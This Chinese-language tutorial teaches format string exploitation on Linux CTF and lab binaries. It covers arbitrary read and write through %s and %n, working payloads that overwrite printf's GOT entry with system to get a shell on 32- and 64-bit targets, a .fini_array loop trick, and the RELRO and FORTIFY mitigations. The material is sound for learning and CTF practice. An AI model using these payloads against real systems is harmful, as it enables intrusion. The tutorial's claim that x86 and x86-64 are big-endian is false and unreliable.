1. 程式人生 > >Linux pwn入門教程(6)——格式化字串漏洞

Linux pwn入門教程(6)——格式化字串漏洞

0x00 printf函式中的漏洞

printf函式族是一個在C程式設計中比較常用的函式族。通常來說,我們會使用printf([格式化字串],引數)的形式來進行呼叫,例如

char s[20] = “Hello world!\n”;
printf(“%s”, s);

然而,有時候為了省事也會寫成

char s[20] = “Hello world!\n”;
printf(s);

事實上,這是一種非常危險的寫法。由於printf函式族的設計缺陷,當其第一個引數可被控制時,攻擊者將有機會對任意記憶體地址進行讀寫操作。

0x01 利用格式化字串漏洞實現任意地址讀

首先我們來看一個自己寫的簡單例子~/format_x86/format_x86


這是一個程式碼很簡單的程式,為了留後門,我呼叫system函式寫了一個showVersion().剩下的就是一個無線迴圈的讀寫,並使用有問題的方式呼叫了printf().正常來說,我們輸入什麼都會被原樣輸出


但是當我們輸入一些特定的字元時輸出出現了變化。


可以看到,當我們輸入printf可識別的格式化字串時,printf會將其作為格式化字串進行解析並輸出。原理很簡單,形如printf(“%s”, “Hello world”)的使用形式會把第一個引數%s作為格式化字串引數進行解析,在這裡由於我們直接用printf輸出一個變數,當變數也正好是格式化字串時,自然就會被printf解析。那麼後面輸出的內容又是什麼呢?我們繼續做實驗。
我們直接在call _printf

一行下斷點然後以除錯方式啟動程式,然後輸入一大串%x.,輸出結果如圖


此時的棧情況如圖


我們很容易發現輸出的內容正好是esp-4開始往下的一連串資料。所以理論上我們可以通過疊加%x來獲取有限範圍內的棧資料。那麼我們有可能洩露其他資料嗎?我們知道格式化字串裡有%s,用於輸出字元。其本質上是讀取對應的引數,並作為指標解析,獲取到對應地址的字串輸出。我們先輸入一個%s觀察結果。


我們看到輸出了%s後還接了一個換行,對應的棧和資料如下:


棧頂是第一個引數,也就是我們輸入的%s, 第二個引數的地址和第一個引數一樣,作為地址解析指向的還是%s和回車0x0A。由於此時我們可以通過輸入來操控棧,我們可以輸入一個地址,再讓%s正好對應到這個地址,從而輸出地址指向的字串,實現任意地址讀。
通過剛剛的除錯我們可以發現,我們的輸入從第六個引數開始(上圖從棧頂往下數第六個‘000A7325’ = %s\n\x00)

。所以我們可以構造字串”\x01\x80\x04\x08%x.%x.%x.%x.%s“。這裡前面的地址是ELF檔案載入的地址08048000+1,為什麼不是08048000後面再說,有興趣的可以自己試驗一下。
由於字串裡包括了不可寫字元,我們沒辦法直接輸入,這回我們用pwntools+IDA附加的方式進行除錯。


我們成功地洩露出了地址0x08048001內的內容。
經過剛剛的試驗,我們用來洩露指定地址的payload對讀者來說應該還是能夠理解的。由於我們的輸入本體恰好在printf讀取引數的第六個引數的位置,所以我們把地址佈置在開頭,使其被printf當做第六個引數。接下來是格式化字串,使用%x處理掉第二到第五個引數(我們的輸入所在地址是第一個引數),使用%s將第六個引數作為地址解析。但是如果輸入長度有限制,而且我們的輸入位於printf的第幾十個引數之外要怎麼辦呢?疊加%x顯然不現實。因此我們需要用到格式化字串的另一個特性。
格式化字串可以使用一種特殊的表示形式來指定處理第n個引數,如輸出第五個引數可以寫為%4$s,第六個為%5$s,需要輸出第n個引數就是%(n-1)$[格式化控制符]。因此我們的payload可以簡化為”\x01\x80\x04\x08%5$s”


0x02 使用格式化字串漏洞任意寫

雖然我們可以利用格式化字串漏洞達到任意地址讀,但是我們並不能直接通過讀取來利用漏洞getshell,我們需要任意地址寫。因此我們在本節要介紹格式化字串的另一個特性——使用printf進行寫入。
printf有一個特殊的格式化控制符%n,和其他控制輸出格式和內容的格式化字元不同的是,這個格式化字元會將已輸出的字元數寫入到對應引數的記憶體中。我們將payload改成“\x8c\x97\x04\x08%5$n”,其中0804978c是.bss段的首地址,一個可寫地址。執行前該地址中的內容是0


printf執行完之後該地址中的內容變成了4,檢視輸出發現輸出了四個字元“\x8c\x97\x04\x08”,回車沒有被計算在內。



我們再次修改payload為“\x8c\x97\x04\x08%2048c%5$n”,成功把0804978c裡的內容修改成0x804



現在我們已經驗證了任意地址讀寫,接下來可以構造exp拿shell了。
由於我們可以任意地址寫,且程式裡有system函式,因此我們在這裡可以直接選擇劫持一個函式的got表項為system的plt表項,從而執行system(“/bin/sh”)。劫持哪一項呢?我們發現在got表中只有四個函式,且printf函式可以單引數呼叫,引數又正好是我們輸入的。因此我們可以劫持printf為system,然後再次通過read讀取”/bin/sh”,此時printf(“/bin/sh”)將會變成system(“/bin/sh”)。根據之前的任意地址寫實驗,我們很容易構造payload如下:

printf_got = 0x08049778
system_plt = 0x08048320
payload = p32(printf_got)+”%”+str(system_plt-4)+”c%5$n”

p32(printf_got)佔了4位元組,所以system_plt要減去4

將payload傳送過去,可以發現此時got表中的printf項已經被劫持


此時再次傳送”/bin/sh”就可以拿shell了。
但是這裡還有一個問題,如果讀者真的自己除錯了一遍就會發現單步執行時call _printf一行執行時間額外的久,且最後io.interactive()時螢幕上的游標會不停閃爍很長一段時間,輸出大量的空字元。使用io.recvall()讀取這些字元發現數據量高達128.28MB。這是因為我們的payload中會輸出多達134513436個字元


由於我們所有的試驗都是在本機/虛擬機器和docker之間進行,所以不會受到網路環境的影響。而在實際的比賽和漏洞利用環境中,一次性傳輸如此大量的資料可能會導致網路卡頓甚至中斷連線。因此,我們必須換一種寫exp的方法。
我們知道,在64位下有%lld, %llx等方式來表示四字(qword)長度的資料,而對稱地,我們也可以使用%hd, %hhx這樣的方式來表示字(word)和位元組(byte)長度的資料,對應到%n上就是%hn, %hhn。為了防止修改的地址有誤導致程式崩潰,我們仍然需要一次性把got表中的printf項改掉,因此使用%hhn時我們就必須一次修改四個位元組。那麼我們就得重新構造一下payload
首先我們給payload加上四個要修改的位元組

printf_got = 0x08049778
system_plt = 0x08048320

payload = p32(printf_got)
payload += p32(printf_got+1)
payload += p32(printf_got+2)
payload += p32(printf_got+3)

然後我們來修改第一位。由於x86和x86-64都是大端序,printf_got對應的應該是地址後兩位0x20

payload += “%”
payload += str(0x20-16)
payload += “c%5$hhn”

這時候我們已經修改了0x08049778處的資料為0x20,接下來我們需要修改0x08049778+2處的資料為0x83。由於我們已經輸出了0x20個位元組(16個位元組的地址+0x20-16個%c),因此我們還需要輸出0x83-0x20個位元組

payload += “%”
payload += str(0x83-0x20)
payload += “c%6$hhn”

繼續修改0x08049778+4,需要修改為0x04,然而我們前面已經輸出了0x83個位元組,因此我們需要輸出到0x04+0x100=0x104位元組,截斷後變成0x04

payload += “%”
payload += str(0x104-0x83)
payload += “c%7$hhn”

修改0x08049778+6

payload += “%”
payload += str(0x08-0x04)
payload += “c%8$hhn”

                                                                                                    最後的payload為'\x78\x97\x04\x08\x79\x97\x04\x08\x7a\x97\x04\x08\x7b\x97\x04\x08%16c%5$hhn%99c%6$hhn%129c%7$hhn%4c%8$hhn'
當然,對於格式化字串payload,pwntools也提供了一個可以直接使用的類Fmtstr,具體文件見http://docs.pwntools.com/en/stable/fmtstr.html ,我們較常使用的功能是fmtstr_payload(offset, {address:data}, numbwritten=0, write_size=’byte’)。第一個引數offset是第一個可控的棧偏移(不包含格式化字串引數),代入我們的例子就是第六個引數,所以是5。第二個字典看名字就可以理解,numbwritten是指printf在格式化字串之前輸出的資料,比如printf(“Hello [var]”),此時在可控變數之前已經輸出了“Hello ”共計六個字元,應該設定引數值為6。第四個選擇用 %hhn(byte), %hn(word)還是%n(dword).在我們的例子裡就可以寫成fmtstr_payload(5, {printf_got:system_plt})
獲取本例子shell的指令碼見於附件,此處不再贅述。

0x03 64位下的格式化字串漏洞利用

學習完32位下的格式化字串漏洞利用,我們繼續來看現在已經變成主流的64位程式。我們開啟例子~/format_x86-64/format_x86-64


事實上,這個程式和上一節中使用的例子是同一個程式碼檔案,只不過編譯成了64位的形式。和上一個例子一樣,我們首先看一下可控制的棧地址偏移。


根據上個例子,我們的輸入位於棧頂,所以是第一個引數,偏移應該是0.但是問題來了,棧頂不應該是字串地址嗎?別忘了64位的傳參順序是rdi, rsi, rdx, rcx, r8, r9,接下來才是棧,所以這裡的偏移應該是6.我們可以用一串%llx.來證明這一點。



有了偏移,got表中的printf和plt表中的system也可以直接從程式中獲取,我們就可以使用fmtstr_payload來生成payload了。


然而我們會發現這個payload無法修改got表中的printf項為plt的system


然而檢視記憶體,發現payload並沒有問題


那麼問題出在哪呢?我們看一下printf的輸出



可以看到我們第一次輸入的payload只剩下空格(\x20),\x10和`(\x60)三個字元。這是為什麼呢?
我們回頭看看payload,很容易發現緊接在\x20\x10\x60三個字元後面的是\x00,而\x00正是字串結束符號,這就是為什麼我們在上一節中選擇0x08048001而不是0x08048000測試讀取。由於64位下使用者可見的記憶體地址高位都帶有\x00(64位地址共16個16進位制數),所以使用之前構造payload的方法顯然不可行,因此我們需要調整一下payload,把地址放到payload的最後。


由於地址中帶有\x00,所以這回就不能用%hhn分段寫了,因此我們的payload構造如下

offset = 6
printf_got = 0x00601020
system_plt = 0x00400460

payload = “%” + str(system_plt) + “c%6$lln” + p64(printf_got)

這個payload看起來好像沒什麼問題,不過如果拿去測試,你就會發現用io.recvall()讀完輸出後程序馬上就會崩潰。


這是為什麼呢?如果你仔細看右下角的棧,你就會發現構造好的地址錯位了。


因此我們還需要調整一下payload,使地址前面的資料恰好為地址長度的倍數。當然,地址所在offset也得調整。調整後的結果如下:

offset = 8
printf_got = 0x00601020
system_plt = 0x00400460

payload = “a%” + str(system_plt-1) + “c%6$lln” + p64(printf_got)

這回就可以了。

0x04 使用格式化字串漏洞使程式無限迴圈

從上面的兩個例子我們可以發現,之所以能成功利用格式化字串漏洞getshell,很多時候都是因為程式中存在迴圈。如果程式中不存在迴圈呢?之前我們試過使用ROP技術劫持函式返回地址到start,這回我們將使用格式化字串漏洞做到這一點。
我們開啟例子~/MMA CTF 2nd 2016-greeting/greeting



同樣的,這個32位程式的got表中有system(看左邊),而且存在一個格式化字串漏洞。計算偏移值和詳細構造payload的步驟此處不再贅述。這個程式主要的問題在於我們需要用printf來觸發漏洞,然而我們從程式碼中可以看到printf執行完之後就不會再呼叫其他got表中的函式,這就意味著即使成功觸發漏洞劫持got表也無法執行system。這時候就需要我們想辦法讓程式可以再次迴圈。
之前的文章中我們就提到過,雖然寫程式碼的時候我們以main函式作為程式入口,但是編譯成程式的時候入口並不是main函式,而是start程式碼段。事實上,start程式碼段還會呼叫__libc_start_main來做一些初始化工作,最後呼叫main函式並在main函式結束後做一些處理。其流程見於連結http://dbp-consulting.com/tutorials/debugging/linuxProgramStartup.html
大致如下圖

簡單地說,在main函式前會呼叫.init段程式碼和.init_array段的函式陣列中每一個函式指標。同樣的,main函式結束後也會呼叫.fini段程式碼和.fini._arrary段的函式陣列中的每一個函式指標。

而我們的目標就是修改.fini_array陣列的第一個元素為start。需要注意的是,這個陣列的內容在再次從start開始執行後又會被修改,且程式可讀取的位元組數有限,因此需要一次性修改兩個地址並且合理調整payload。可用的指令碼同樣見於附件。

0x05 一些和格式化字串漏洞相關的漏洞緩解機制

在checksec指令碼的檢查項中,我們之前提到過了NX的作用,本節我們介紹一下另外兩個和Linux pwn中格式化字串漏洞常用的利用手段相關的緩解機制RELRO和FORTIFY

首先我們介紹一下RELRO,RELRO是重定位表只讀(Relocation Read Only)的縮寫。重定位表即我們經常提到的ELF檔案中的got表和plt表。關於這兩個表的來源和作用,我們會在介紹ret2dl-resolve的文章中詳細介紹。現在我們首先需要知道的是這兩個表,正如其名,是為程式外部的函式和變數(不在程式裡定義和實現的函式和變數,比如read。顯然你在自己的程式碼裡呼叫read函式的時候不用自己寫一個read函式的實現)的重定位做準備的。由於重定位需要額外的效能開銷,出於優化考慮,一般來說程式會使用延遲載入,即外部函式的記憶體地址是在第一次被呼叫時(例如read函式,第一次呼叫即為程式第一次執行call read)被找到並且填進got表裡面的。因此,got表必須是可寫的。但是got表可寫也給格式化字串漏洞帶來了一個非常方便的利用方式,即修改got表。正如前面的文章所述,我們可以通過漏洞修改某個函式的got表項(比如puts)為system函式的地址,這樣一來,我們執行call puts實際上呼叫的卻是system,相應的,傳入的引數也給了system,從而可以執行system(“/bin/sh”)。可以這麼操作的程式使用checksec檢查的結果如下圖

其RELRO項為Partial RELRO.
而開頭的圖中顯示的RELRO: Full RELRO意即該程式的重定位表項全部只讀,無論是.got還是.got.plt都無法修改。我們找到這個程式(在《stack canary與繞過的思路》的練習題中),在call read上下斷點,修改第一個引數buf為got表的地址以嘗試修改got表,程式不會報錯,但是資料未被修改,read函式返回了一個-1

顯然,當程式開啟了Full RELRO保護之後,包括格式化字串漏洞在內,試圖通過漏洞劫持got表的行為都將會被阻止。
接下來我們介紹另一個比較少見的保護措施FORTIFY,這是一個由GCC實現的原始碼級別的保護機制,其功能是在編譯的時候檢查原始碼以避免潛在的緩衝區溢位等錯誤。簡單地說,加了這個保護之後(編譯時加上引數-D_FORTIFY_SOURCE=2)一些敏感函式如read, fgets, memcpy, printf等等可能導致漏洞出現的函式都會被替換成__read_chk, __fgets_chk, __memcpy_chk, __printf_chk等。這些帶了chk的函式會檢查讀取/複製的位元組長度是否超過緩衝區長度,通過檢查·諸如%n之類的字串位置是否位於可能被使用者修改的可寫地址,避免了格式化字串跳過某些引數(如直接%7$x)等方式來避免漏洞出現。開啟了FORTIFY保護的程式會被checksec檢出,此外,在反彙編時直接檢視got表也會發現chk函式的存在

大家可以“閱讀原文”下載課後例題和練習題哦~